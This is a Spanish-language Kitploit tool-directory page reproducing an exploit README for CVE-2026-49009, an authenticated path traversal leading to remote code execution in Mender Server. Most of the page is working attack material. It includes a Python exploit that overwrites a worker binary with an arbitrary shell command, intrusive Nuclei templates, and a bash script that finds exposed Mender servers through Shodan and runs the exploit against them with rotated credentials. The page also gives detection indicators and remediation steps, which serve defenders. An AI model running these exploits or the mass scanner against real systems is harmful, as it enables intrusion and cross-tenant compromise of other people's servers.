Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49009 — Mender Server - Path Traversal autenticado a RCE | Kitploit
Herramientas/GitHubGitHub/inteleon404/cve-2026-49009
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubinteleon404/cve-2026-49009

CVE-2026-49009

Mender Server - Path Traversal autenticado a RCE

Ver Repositorio
5hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-49009 — Path Traversal autenticado a Ejecución Remota de Código en Mender Server

CVE CVSS CWE Status License

Descubierto por j0xh-sec vía HackerOne · PoC por INTELEON404


Tabla de contenidos

  • Resumen de la vulnerabilidad
  • Versiones afectadas
  • Análisis técnico
  • Prueba de concepto
    • Exploit en Python
    • Plantilla de Nuclei
    • Escáner ShodanX + Nuclei
Descargar herramienta
Uso
  • Detección e indicadores
  • Remediación
  • Cronología
  • Referencias
  • Descargo de responsabilidad

  • Resumen de la vulnerabilidad

    CampoDetalle
    ID CVECVE-2026-49009
    Puntuación CVSS9.9 Crítico — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    CWECWE-22 — Limitación incorrecta de una ruta a un directorio restringido
    Producto afectadoNorthern.tech Mender Server (Comunidad y Enterprise)
    Descubierto porj0xh-sec vía HackerOne (divulgación responsable)
    Autor del PoCINTELEON404 — Evaluación de seguridad autorizada
    CVE publicado2026-05-27
    Parche publicado2026-04-01 (Mender Server 4.1.1 / 4.0.2)

    Descripción

    Mender Server versiones ≤4.1.0 y ≤4.0.1 contienen una vulnerabilidad de path traversal autenticado en el endpoint de la API de generación de artefactos de archivo único. Un atacante que proporcione secuencias ../ en el campo filename puede sobrescribir /usr/bin/mender-artifact dentro del contenedor create-artifact-worker. Cuando el siguiente paso del flujo de trabajo invoca este binario, comandos arbitrarios se ejecutan como código.

    En entornos Hosted Mender multi-tenant, el contenedor de trabajo compartido procesa artefactos para todos los tenants — lo que permite compromiso entre tenants.


    Versiones afectadas

    ProductoVersiones vulnerablesVersión parcheada
    Mender Server (Comunidad)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
    Mender Server (Enterprise)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
    Hosted MenderTodas (antes del parche)Parcheado automáticamente

    Análisis técnico

    Causa raíz

    El endpoint /api/management/v1/deployments/artifacts/generate acepta un campo filename dentro de un parámetro JSON args. Este valor se utiliza para construir la ruta de escritura en disco durante la generación de artefactos. Las secuencias de path traversal (../) no se sanitizan, lo que permite que el valor controlado por el atacante escape del directorio de carga previsto.

    Flujo del ataque```

    ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Por qué funciona
    
    | Factor | Explicación |
    |---|---|
    | **Ruta sin sanitizar** | `../../../../usr/bin/mender-artifact` escapa del destino previsto `/opt/mender/app/` |
    | **Procesamiento asíncrono** | El `create-artifact-worker` escribe el archivo de forma asíncrona, antes de cualquier validación posterior |
    | **Secuestro del binario** | Los pasos posteriores del flujo de trabajo invocan `/usr/bin/mender-artifact` como parte de la operación normal |
    | **Reutilización del contenedor** | En despliegues multiinquilino, el mismo contenedor de trabajo procesa los artefactos para todos los inquilinos |
    
    ---
    
    ## Prueba de concepto
    
    > **Autorización requerida.** Ejecútalo únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas.
    
    ### Exploit en Python
    
    <details>
    <summary>▶ Ver código del exploit</summary>```python
    #!/usr/bin/env python3
    """
    CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
    Discovered by: j0xh-sec (HackerOne)
    PoC by:        INTELEON404 (Authorized security assessment)
    """
    
    import argparse
    import base64
    import json
    import re
    import sys
    import time
    
    import requests
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    def parse_args():
        parser = argparse.ArgumentParser(
            description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
            epilog="Discovered by j0xh-sec | PoC by INTELEON404"
        )
        parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
        parser.add_argument("-u", "--username", required=True, help="Mender username / email")
        parser.add_argument("-p", "--password", required=True, help="Mender password")
        parser.add_argument("-c", "--command",  required=True, help="Command to execute")
        return parser.parse_args()
    
    
    def banner():
        print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
        print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")
    
    
    def build_payload(command: str) -> bytes:
        """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
        encoded = base64.b64encode(command.encode()).decode()
        return f"""#!/bin/sh
    # CVE-2026-49009 payload — INTELEON404
    CMD_B64="{encoded}"
    CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
    /bin/sh -c "$CMD"
    exec /bin/sh "$@"
    """.encode()
    
    
    def main():
        args = parse_args()
        banner()
    
        target = args.target.rstrip("/")
        if not target.startswith(("http://", "https://")):
            target = "https://" + target
        host = target.split("://")[1].split("/")[0]
    
        print(f"[*] Target : {target}")
        print(f"[*] User   : {args.username}")
    
        # ── Step 1: Authenticate ──────────────────────────────────────────────
        print("[*] Authenticating...")
        try:
            r = requests.post(
                f"{target}/api/management/v1/useradm/auth/login",
                auth=(args.username, args.password),
                headers={"Host": host, "Content-Type": "application/json"},
                data="{}",
                verify=False,
                timeout=30,
            )
            if r.status_code != 200:
                raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
            jwt = r.text.strip()
            print("[+] JWT obtained")
        except requests.RequestException as e:
            raise RuntimeError(f"Connection error during login: {e}")
    
        # ── Step 2: Submit traversal payload ─────────────────────────────────
        print("[*] Submitting path traversal payload...")
        artifact_name = f"rce-poc-{int(time.time())}"
    
        args_json = {
            "filename": "../../../../usr/bin/mender-artifact",
            "dest_dir": "/opt/mender/app",
            "software_name": "demo",
            "software_version": "1",
        }
    
        files = {
            "name":                     (None, artifact_name),
            "description":              (None, "CVE-2026-49009 PoC"),
            "type":                     (None, "single-file"),
            "device_types_compatible":  (None, "qemu"),
            "args":                     (None, json.dumps(args_json), "application/json"),
            "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
        }
    
        try:
            r = requests.post(
                f"{target}/api/management/v1/deployments/artifacts/generate",
                headers={"Host": host, "Authorization": f"Bearer {jwt}"},
                files=files,
                verify=False,
                timeout=60,
                allow_redirects=False,
            )
        except requests.RequestException as e:
            raise RuntimeError(f"Connection error during exploit: {e}")
    
        location = r.headers.get("Location", "")
        if not location:
            print(f"[!] HTTP {r.status_code} — no Location header returned")
            print(f"[!] Response: {r.text[:500]}")
            print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
            sys.exit(1)
    
        job_id = re.search(r"/([^/]+)$", location).group(1)
        print(f"[+] Workflow submitted — Job ID: {job_id}")
        print(f"[+] Payload : {args.command}")
        print("\n[*] Command executes inside the worker container when the workflow completes.")
    
    
    if __name__ == "__main__":
        try:
            main()
        except RuntimeError as e:
            print(f"\n[!] ERROR: {e}", file=sys.stderr)
            sys.exit(1)
        except KeyboardInterrupt:
            print("\n[*] Interrupted")
            sys.exit(130)
    

    Plantilla de Nuclei

    ▶ Ver plantilla (CVE-2026-49009.yaml)```yaml id: CVE-2026-49009

    info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated

    http:

    • raw:

      • |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"

        cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"

        CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"

        single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"

        qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json

        {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream

        #!/bin/sh echo ------WebKitFormBoundary{{randstr}}--

      matchers-condition: or matchers:

      If the instance responds with a 400 Bad Request indicating a parsing error or

      schema validation failure specifically from the deployment service, the path exists.

      • type: dsl dsl:
        • "status_code == 400"
        • "contains(body, 'deployment') || contains(body, 'artifact')" condition: and

      Secure setups or unauthenticated attempts to reach this deep API route will

      typically return a 401 Unauthorized, validating endpoint presence but blocking access.

      • type: dsl dsl:
        • "status_code == 401"
        • "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or
    root@kitploit:~
    </details>
    
    ## PoC de Nuclei
    <a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/36707/5c8a69f64497e83df558e6d279b781e9a0ee7cf5bb39cbc0df16bff464ebb5d8/15d30fbbab29d646b3ab7c75f2a4752839a1ca010fa26912e638bf4a128424d8-display-v1.webp" alt="poc" border="0"></a>
    
    ---
    
    ### Escáner ShodanX + Nuclei
    
    Encadena el reconocimiento de [ShodanX](https://github.com/RevoltSecurities/ShodanX) con el escaneo de Nuclei para descubrir y evaluar instancias de Mender Server a gran escala.
    
    **Fases:**
    1. **Descubrimiento** — dork de ShodanX `http.title:"Mender"`, extrae pares IP:puerto
    2. **Escaneo** — Nuclei ejecuta la plantilla CVE contra los objetivos descubiertos con rotación de credenciales
    3. **Informes** — salida JSON deduplicada + texto plano
    
    <details>
    <summary>▶ Ver el script del escáner (cve-2026-49009-scanner.sh)</summary>```bash
    #!/bin/bash
    set -euo pipefail
    
    RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
    CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
    
    SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
    TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
    OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
    SHODAN_QUERY='http.title:"Mender"'
    PAGES=3
    RATE=50
    NO_SHODAN=false
    CREDS_ARRAY=()
    
    usage() {
        cat <<EOF
    Usage: $0 [options]
      -u, --username   Mender username
      -P, --password   Mender password
      -c, --creds      Credentials file (username:password, one per line)
      -q, --query      Shodan query (default: http.title:"Mender")
      -o, --output     Output directory
      -p, --pages      Shodan result pages (default: 3)
      -r, --rate       Nuclei rate limit (default: 50)
      -n, --no-shodan  Skip ShodanX discovery
      -t, --targets    Target file (used with --no-shodan)
      -h, --help       Show this help
    EOF
        exit 0
    }
    
    while [[ $# -gt 0 ]]; do
        case "$1" in
            -q|--query)     SHODAN_QUERY="$2"; shift 2 ;;
            -o|--output)    OUTPUT_DIR="$2";   shift 2 ;;
            -p|--pages)     PAGES="$2";        shift 2 ;;
            -u|--username)  USERNAME="$2";     shift 2 ;;
            -P|--password)  PASSWORD="$2";     shift 2 ;;
            -c|--creds)     CREDS_FILE="$2";   shift 2 ;;
            -n|--no-shodan) NO_SHODAN=true;    shift   ;;
            -t|--targets)   TARGETS_FILE="$2"; shift 2 ;;
            -r|--rate)      RATE="$2";         shift 2 ;;
            -h|--help)      usage ;;
            *) echo "Unknown option: $1"; usage ;;
        esac
    done
    
    check_deps() {
        command -v shodanx &>/dev/null || {
            echo "[*] Installing ShodanX..."
            pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
        }
        command -v nuclei &>/dev/null || {
            echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
            exit 1
        }
    }
    
    write_template() {
        cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
    id: CVE-2026-49009
    info:
      name: Mender Server - Authenticated Path Traversal to RCE
      author: j0xh-sec
      severity: critical
      description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
      remediation: Upgrade to 4.1.1 or 4.0.2.
      reference:
        - https://nvd.nist.gov/vuln/detail/CVE-2026-49009
        - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
      classification:
        cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
        cvss-score: 9.9
        cve-id: CVE-2026-49009
        cwe-id: CWE-22
      metadata:
        verified: true
        max-request: 2
        vendor: northern.tech
        product: mender_server
      tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
    http:
      - raw:
          - |+
            POST /api/management/v1/useradm/auth/login HTTP/1.1
            Host: {{Hostname}}
            Content-Type: application/json
            Authorization: Basic {{base64('{{username}}:{{password}}')}}
            {}
          - |+
            POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
            Host: {{Hostname}}
            Authorization: Bearer {{jwt}}
            Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
            ------WebKitFormBoundary{{randstr}}
            Content-Disposition: form-data; name="name"
            cve-poc-{{randhex_6}}
            ------WebKitFormBoundary{{randstr}}
            Content-Disposition: form-data; name="args"
            Content-Type: application/json
            {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
            ------WebKitFormBoundary{{randstr}}
            Content-Disposition: form-data; name="file"; filename="payload.sh"
            Content-Type: application/octet-stream
            #!/bin/sh
            /usr/bin/id>/tmp/.cve-2026-49009
            ------WebKitFormBoundary{{randstr}}--
        extractors:
          - type: regex
            name: jwt
            part: body
            internal: true
            regex:
              - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
        matchers:
          - type: dsl
            dsl:
              - 'status_code_1 == 200'
              - 'len(jwt) > 100'
              - 'status_code_2 >= 200 && status_code_2 < 300'
              - 'contains(to_string(header_2_all), "Location")'
            condition: and
    TMPL
        echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
    }
    
    shodanx_discover() {
        echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
        mkdir -p "${OUTPUT_DIR}"
        shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
            --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
        shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
            --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true
    
        if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
           grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
            :
        else
            grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
                "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
        fi
        echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
    }
    
    nuclei_scan() {
        [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
        echo "[*] Running Nuclei scan (rate: ${RATE})..."
        for cred in "${CREDS_ARRAY[@]}"; do
            nuclei -silent \
                -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
                -l "${OUTPUT_DIR}/targets.txt" \
                -var "USERNAME=${cred%%:*}" \
                -var "PASSWORD=${cred#*:}" \
                -rate-limit "${RATE}" \
                -jsonl \
                -o "${OUTPUT_DIR}/nuclei-results.json" \
                -timeout 15 -retries 2 -irr 2>/dev/null
        done
        if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
            COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
            echo "[+] ${COUNT} vulnerability(ies) confirmed"
            jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
                sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
        else
            echo "[-] No vulnerabilities found or no results returned"
        fi
    }
    
    main() {
        check_deps
        mkdir -p "${OUTPUT_DIR}"
        write_template
    
        if $NO_SHODAN; then
            [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
                cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
                { echo "[!] --no-shodan requires --targets <file>"; exit 1; }
        else
            shodanx_discover
        fi
    
        if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
            CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
        elif [[ -n "${CREDS_FILE:-}" ]]; then
            while IFS=':' read -r u p; do
                [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
            done < "$CREDS_FILE"
        else
            echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
            exit 1
        fi
    
        nuclei_scan
        echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
    }
    
    main
    

    Uso

    Requisitos

    DependenciaInstalación
    Python 3.8+apt install python3 python3-pip
    requests / urllib3pip install requests urllib3
    Nucleigo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
    ShodanX (opcional)pip install git+https://github.com/RevoltSecurities/ShodanX

    PoC en Python```bash

    python3 cve-2026-49009.py
    -t https://mender-server.local
    -u [email protected]
    -p 's3cret!'
    -c 'id > /tmp/pwned.txt'

    root@kitploit:~
    ### Nuclei```bash
    nuclei -t CVE-2026-49009.yaml \
      -u https://mender-server.local \
      -var [email protected] \
      -var PASSWORD='s3cret!'
    

    Escáner```bash

    Full automatic scan (ShodanX + Nuclei)

    ./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'

    Credential rotation from file

    ./cve-2026-49009-scanner.sh -c creds.txt

    Skip discovery, scan known targets

    ./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'

    Extended scan

    ./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150

    root@kitploit:~
    ---
    
    ## Detección e Indicadores
    
    ### Aplicación / Host
    
    | Indicador | Descripción |
    |---|---|
    | Cabecera `Location` tras un nombre de archivo con traversal | El servidor devuelve `Location` tras aceptar un nombre de archivo que contiene `../` |
    | Nombres de artefacto sospechosos | Patrones: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
    | Marca de tiempo del binario modificada | La marca de tiempo de `/usr/bin/mender-artifact` cambió dentro del contenedor del worker |
    | Salida inesperada del worker | Registros del contenedor que muestran comandos no relacionados con el procesamiento de artefactos |
    
    ### Red
    
    | Indicador | Descripción |
    |---|---|
    | POST a `artifacts/generate` | Con JSON de `args` que contiene secuencias `../` |
    | Par de autenticación + carga | Inicio de sesión con autenticación básica seguido inmediatamente de una carga multipart desde la misma IP de origen |
    
    ### Lógica de coincidencia de Nuclei
    
    La plantilla devuelve un resultado positivo cuando:
    1. `POST /useradm/auth/login` → `HTTP 200` + JWT válido (> 100 caracteres)
    2. `POST /artifacts/generate` → `HTTP 2xx` + cabecera `Location` presente
    
    Un servidor parcheado (≥ 4.1.1 / 4.0.2) rechaza la ruta de traversal con `HTTP 4xx` en el paso 2.
    
    ---
    
    ## Remediación
    
    | Prioridad | Acción |
    |---|---|
    | **Inmediata** | Actualizar a Mender Server **4.1.1** o **4.0.2** |
    | **Control compensatorio** | Habilitar la firma criptográfica de artefactos: los dispositivos rechazan artefactos manipulados |
    | **Solución alternativa** | Restringir el acceso a la API a redes de confianza; deshabilitar la generación de artefactos si no se utiliza |
    | **Auditoría** | Revisar los registros en busca de solicitudes de generación de artefactos con valores de `filename` inusuales |
    
    ---
    
    ## Cronología
    
    | Fecha | Evento |
    |---|---|
    | 2026-04-01 | Mender Server 4.1.1 / 4.0.2 publicado con la corrección |
    | 2026-05-27 | CVE publicado; aviso de seguridad publicado por Northern.tech |
    | 2026-05-27 | PoC publicado por INTELEON404 |
    
    ---
    
    ## Referencias
    
    - [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
    - [Aviso de seguridad de Northern.tech](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
    - [Entrada de OpenCVE](https://app.opencve.io/cve/CVE-2026-49009)
    - [Página de CVE de Tenable](https://www.tenable.com/cve/CVE-2026-49009)
    - [Registro de cambios de Mender Server](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
    - [Registro de cambios de Mender Enterprise](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
    - [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
    - [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)
    
    ---
    
    ## Descargo de responsabilidad
    
    > [!WARNING]
    > **Solo para pruebas de seguridad autorizadas y fines educativos.**
    >
    > Esta prueba de concepto está destinada estrictamente a su uso contra sistemas propios o para los que se haya recibido **permiso explícito por escrito** para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act (CMA) y la legislación equivalente en todo el mundo.
    >
    > Los autores no aceptan ninguna responsabilidad por el uso indebido, los daños o las actividades ilegales derivadas de este material.
    
    ---
    
    <div align="center">
    
    **Descubierto por** [j0xh-sec](https://hackerone.com/j0xh-sec) vía HackerOne · Divulgación responsable a Northern.tech  
    **PoC por** INTELEON404 · Evaluación de seguridad autorizada
    
    </div>